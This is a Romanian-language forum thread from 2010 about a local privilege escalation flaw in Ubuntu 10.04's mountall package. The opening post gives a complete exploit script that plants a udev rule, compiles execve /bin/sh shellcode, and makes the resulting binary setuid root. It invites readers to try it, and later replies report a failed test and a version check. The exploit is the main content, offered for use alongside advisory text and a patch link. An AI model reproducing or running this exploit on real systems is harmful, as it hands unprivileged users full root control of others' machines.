Ubuntu Linux 'mountall' Local Privilege Escalation Vulnerability

[Nytro]

Ubuntu Linux 'mountall' Local Privilege Escalation Vulnerability

#!/bin/sh
# by fuzz. For Anux inc. #
# ubuntu 10.04 , 10.10
if [ -z "$1" ]
then
        echo "usage: $0 <UDEV KERNEL EVENT>"
        echo "see here http://www.reactivated.net/writing_udev_rules.html"
        exit
fi
cat > usn985-exploit.sh << EOF
#!/bin/sh
chown root:root $PWD/usn985-sc
chmod +s $PWD/usn985-sc
EOF
cat > usn985-sc.c << EOF
char *s="\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x52\x68\x6e\x2f\x73\x68"
"\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
main(){int *r;*((int *)&r+2)=(int)s;}
EOF
gcc usn985-sc.c -o usn985-sc
echo "KERNEL==\"$1\", RUN+=\"$PWD/usn985-exploit.sh\"" >> /dev/.udev/rules.d/root.rules
chmod +x usn985-exploit.sh
echo "All set, now wait for udev to restart (reinstall, udev upgrade, SE, raep, threat.)"
echo "Once the conf is reloaded, just make the udev event happen : usn985-sc file will get suid-root"

Vulnerable: Ubuntu Ubuntu Linux 10.04 LTS

Not Vulnerable: Ubuntu mountall 2.15.2

Ubuntu Linux 'mountall' Local Privilege Escalation Vulnerability

[I]Ubuntu Linux is prone to a local privilege-escalation vulnerability that affects the 'mountall' package.

Local attackers can exploit this issue to execute arbitrary commands as the 'root' user. Successful exploits can completely compromise an affected computer.

Ubuntu 10.04 LTS is vulnerable; other versions may also be affected. [/I]

Update: http://security.ubuntu.com/ubuntu/pool/main/m/mountall/mountall_2.15.2_i386.deb

Incercati si voi, cei cu Ubuntu.

Edited September 22, 2010 by Nytro

[Zatarra]

Eram sigur ca iese saptamanile astea pentru 10.10 Cu toate ca sunt la McDonald fac proba repede pe un 10.04 si revin cu edit

Edit:

./a.sh: 21: cannot create /dev/.udev/rules.d/root.rules: Permission denied

All set, now wait for udev to restart (reinstall, udev upgrade, SE, raep, threat.)

Once the conf is reloaded, just make the udev event happen : usn985-sc file will get suid-root

proba@nasa.gov ~ $ mountall
Command 'mountall' is available in '/sbin/mountall'
The command could not be located because '/sbin' is not included in the PATH environment variable.
This is most likely caused by the lack of administrative priviledges associated with your user account.
mountall: command not found

proba@nasa.gov ~ $ /sbin/mountall
mountall: Did not receive a reply. Possible causes include: the remote application did not send a reply, the message bus security policy blocked the reply, the reply timeout expired, or the network connection was broken.
mountall: Connection is closed
mountall: Connection is closed
mountall: Connection is closed
mountall: Connection is closed
mountall: Connection is closed
mountall: Connection is closed
mountall: Connection is closed
mountall: Connection is closed
mountall: Connection is closed
mountall: Connection is closed
mountall: Connection is closed
mountall: Connection is closed
mountall: Connection is closed
mountall: Connection is closed
mountall: Connection is closed
mountall: Connection is closed
mountall: Connection is closed
mountall: Connection is closed
mountall: Connection is closed
mountall: Connection is closed
mountall: Connection is closed
mountall: swapon /dev/disk/by-uuid/1b414176-f0db-4028-be34-2829dab20f02 [1919]: No such file or directory

Kernel version : 2.6.32-24-generic

Deocamdata atat.. voi reveni cu reedit mai pe seara sau cel tarziu maine

[Zatarra]

Ca sa nu va mai chinuiti sa stiti daca functioneaza sau nu dati asa:

mountall --version

Not Vulnerable: Ubuntu mountall 2.15.2

Tineti minte, functioneaza doar pe Ubuntu 10.04